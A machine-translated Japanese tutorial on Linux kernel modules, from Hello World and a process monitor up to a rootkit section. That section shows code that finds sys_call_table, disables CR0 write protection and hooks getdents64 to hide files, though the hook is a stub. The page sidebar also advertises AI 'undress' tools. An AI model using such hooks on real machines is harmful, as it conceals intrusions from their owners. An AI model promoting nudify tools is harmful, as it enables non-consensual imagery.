LKM Addict、lkm の基礎を学ぶ
皆さん!今日は、単純な「Hello World」モジュールから LKM ルートキットの作成まで、LKM (ロード可能カーネル モジュール) について説明します。これが役立つと思われた場合は、お気軽に共有してください。最後まで読んでくださった皆様に感謝します。すべてのコードとリファレンスは投稿の下部にリンクされているので、必ずソースをチェックしてください。信じてください。これらを掘り下げてコードを変更すると、さらに多くのことを学ぶことができます。ただし、注意してください。コードの一部は GPL 3 ライセンスの下にあるため、条項を必ず確認してください。
必要なもの:
linux-headers-generic
C コンパイラ (GCC または cc をお勧めします)
目次:
- 1) LKM とは何か、またその仕組み
- 2) LKM メイクファイルの例
- 3) モジュールがカーネルにロードされる方法
- 4) LKM「ハローワールド」
- 5) 長年にわたる主要な変更
- 6) カーネル 5.7 での Syscall テーブルの変更
- 7) プロセス監視用の LKM
- 8) LKM ルートキットの構築
1) LKM とは何か、そしてその仕組み:
LKM は、カーネル全体を再コンパイルすることなくハードウェアのドライバーを追加するなど、Linux カーネルの機能を拡張するのに役立つロード可能なカーネル モジュールです。これらは、デバイス ドライバー (サウンド カードなど)、ファイル システムなどに最適です。すべての LKM には、少なくとも次の 2 つの基本機能が必要です。
static int __init module_init(void) { return 0; } static void __exit module_exit(void) { }
2) LKM メイクファイルの例:
モジュールをコンパイルするための非常に単純な Makefile は次のとおりです。
obj-m := example.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean
3) モジュールがカーネルにロードされる方法:
lsmod コマンドを使用すると、カーネルにロードされたモジュールを確認できます。 /proc/modules 内の情報をチェックします。モジュールは通常、次のようなエイリアスを通じてカーネルを識別します。
別名 char-major-10–30 ソフトドッグ
これは、softdog.o モジュールをロードする必要があることを modprobe に伝え、depmod -a を実行して作成された依存関係について /lib/modules/version/modules.dep をチェックします。
4) LKM「ハローワールド」:
超基本的な「Hello World」モジュールの作成方法は次のとおりです:
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init hello_init(void) { printk(KERN_INFO "<1>Hello World\n"); return 0; } static void __exit hello_exit(void) { printk(KERN_INFO"<1> Bye bye!"); } module_init(hello_init); module_exit(hello_exit); MODULE_AUTHOR("BrunoCiccarino"); MODULE_LICENSE("GPL");
5) 長年にわたる LKM の主な変化:
LKM には時間の経過とともにかなり重要な変更がいくつかあったため、Linux カーネルのバージョンごとに分類してみましょう。
カーネル 2.x (最大 2.6):
動的な LKM のロードとアンロードの初期サポート。
より良いデバッグ ツール (OOPS、PANIC)。
カーネル 2.6.x:
デバイス管理を改善するための udev の導入。
プリエンプティブカーネルにより応答時間が短縮されます。
ネイティブ Posix スレッド ライブラリ (NPTL) は、マルチスレッド プロセスの処理を改善します。
カーネル 3.x:
名前空間のサポート、Docker などのコンテナ技術の改善。
ファイルシステムと GPU ドライバーの改善。
カーネル 4.x:
KASLR によりカーネルのセキュリティが強化されます。
コンテナーのサポートの向上 (Cgroups、名前空間)。
新しいハードウェアのサポート。
カーネル 5.x:
ファイルシステムの暗号化とライブパッチの強化。
ネットワークを超えた BPF の拡張
RISC-V と ARM のサポートが強化されました。
カーネル 5.7:
大きな変更: セキュリティ上の理由から、syscall テーブル (sys_call_table) へのアクセスが困難になりました。 Syscall テーブルを変更する必要があるモジュールは適応する必要がありました。
カーネル 6.x:
より安全なカーネルモジュール開発のためのRust言語サポート。
モバイル デバイスのエネルギー効率に重点を置いた、セキュリティと分離の改善。
6) カーネル 5.7 の Syscall テーブルの変更点:
Linux 5.7 では、syscall テーブルを保護するために変更が加えられました。現在は書き込み保護されており、簡単にはアクセスできません。これはセキュリティにとっては大きな利点ですが、これに依存する正規のモジュールにとっては複雑な問題になります。 kprobes.h を使用して sys_call_table を検索していた場合は、新しい戦略が必要になります。現在は、書き込み保護 (WP) などの保護機能があるため、直接変更することはできません。
7) プロセス監視用の LKM:
これは、タイマーを使用して定期的に (たとえば 2 秒ごとに) チェックを実行することで、カーネル内のプロセスを監視するモジュールです。プロセスの作成と終了、ファイル アクセス、ネットワークの使用状況などを監視します。
これを始めるためのコードを次に示します。
#include <linux/module.h> #include <linux/sched.h> #include <linux/timer.h> #include <linux/cred.h> static struct timer_list procmonitor_timer; static void procmonitor_check_proc_tree(unsigned long unused) { struct task_struct *task; for_each_process(task) printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000)); } static int __init procmonitor_init(void) { setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0); mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200)); return 0; } static void __exit procmonitor_exit(void) { del_timer_sync(&procmonitor_timer); } module_init(procmonitor_init); module_exit(procmonitor_exit);
8) LKM ルートキット:
ルートキットは基本的に、マルウェアを隠すためにシステムコールをハイジャックする悪意のあるモジュールです。ここでは、syscall テーブルにフックして動作を変更する方法を示します。
まず、syscall テーブルを見つける必要があります。
unsigned long *find_syscall_table(void) { typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); return (unsigned long*)kallsyms_lookup_name("sys_call_table"); }
その後、syscall テーブルが存在するメモリの保護を解除できます。
static inline void unprotect_memory(void) { write_cr0_forced(cr0 & ~0x00010000); }
その後、元の関数をフックに置き換えます。
static int __init ghost_init(void) { __syscall_table = find_syscall_table(); if (!__syscall_table) return -1; cr0 = read_cr0(); orig_getdents64 = (void *)__syscall_table[MY_NR_getdents]; unprotect_memory(); __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64; protect_memory(); return 0; }
フック関数はファイルをインターセプトして非表示にします:
asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) { int ret = orig_getdents64(fd, dirp, count); // Intercept the syscall here... return ret; }
クレジット
ハッカーの選択
エリナックス
カーネルbr
xcellerator
lkmpg
猫好き
私のルートキット
ジアモルヒネ
以上がLKM Addict、lkm の基礎を学ぶの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











C#とCの歴史と進化はユニークであり、将来の見通しも異なります。 1.Cは、1983年にBjarnestrostrupによって発明され、オブジェクト指向のプログラミングをC言語に導入しました。その進化プロセスには、C 11の自動キーワードとラムダ式の導入など、複数の標準化が含まれます。C20概念とコルーチンの導入、将来のパフォーマンスとシステムレベルのプログラミングに焦点を当てます。 2.C#は2000年にMicrosoftによってリリースされました。CとJavaの利点を組み合わせて、その進化はシンプルさと生産性に焦点を当てています。たとえば、C#2.0はジェネリックを導入し、C#5.0は非同期プログラミングを導入しました。これは、将来の開発者の生産性とクラウドコンピューティングに焦点を当てます。

C#とCおよび開発者の経験の学習曲線には大きな違いがあります。 1)C#の学習曲線は比較的フラットであり、迅速な開発およびエンタープライズレベルのアプリケーションに適しています。 2)Cの学習曲線は急勾配であり、高性能および低レベルの制御シナリオに適しています。

Cでの静的分析の適用には、主にメモリ管理の問題の発見、コードロジックエラーの確認、およびコードセキュリティの改善が含まれます。 1)静的分析では、メモリリーク、ダブルリリース、非初期化ポインターなどの問題を特定できます。 2)未使用の変数、死んだコード、論理的矛盾を検出できます。 3)カバー性などの静的分析ツールは、バッファーオーバーフロー、整数のオーバーフロー、安全でないAPI呼び出しを検出して、コードセキュリティを改善します。

Cは、サードパーティライブラリ(TinyXML、PUGIXML、XERCES-Cなど)を介してXMLと相互作用します。 1)ライブラリを使用してXMLファイルを解析し、それらをC処理可能なデータ構造に変換します。 2)XMLを生成するときは、Cデータ構造をXML形式に変換します。 3)実際のアプリケーションでは、XMLが構成ファイルとデータ交換に使用されることがよくあり、開発効率を向上させます。

CでChronoライブラリを使用すると、時間と時間の間隔をより正確に制御できます。このライブラリの魅力を探りましょう。 CのChronoライブラリは、時間と時間の間隔に対処するための最新の方法を提供する標準ライブラリの一部です。 Time.HとCtimeに苦しんでいるプログラマーにとって、Chronoは間違いなく恩恵です。コードの読みやすさと保守性を向上させるだけでなく、より高い精度と柔軟性も提供します。基本から始めましょう。 Chronoライブラリには、主に次の重要なコンポーネントが含まれています。STD:: Chrono :: System_Clock:現在の時間を取得するために使用されるシステムクロックを表します。 STD :: Chron

Cの将来は、並列コンピューティング、セキュリティ、モジュール化、AI/機械学習に焦点を当てます。1)並列コンピューティングは、コルーチンなどの機能を介して強化されます。 2)セキュリティは、より厳格なタイプのチェックとメモリ管理メカニズムを通じて改善されます。 3)変調は、コード組織とコンパイルを簡素化します。 4)AIと機械学習は、数値コンピューティングやGPUプログラミングサポートなど、CにComply Coveに適応するように促します。

c isnotdying; it'sevolving.1)c relelevantdueToitsversitileSileSixivisityinperformance-criticalApplications.2)thelanguageSlikeModulesandCoroutoUtoimveUsablive.3)despiteChallen

C#は自動ガベージコレクションメカニズムを使用し、Cは手動メモリ管理を使用します。 1。C#のゴミコレクターは、メモリを自動的に管理してメモリの漏れのリスクを減らしますが、パフォーマンスの劣化につながる可能性があります。 2.Cは、微細な管理を必要とするアプリケーションに適した柔軟なメモリ制御を提供しますが、メモリの漏れを避けるためには注意して処理する必要があります。
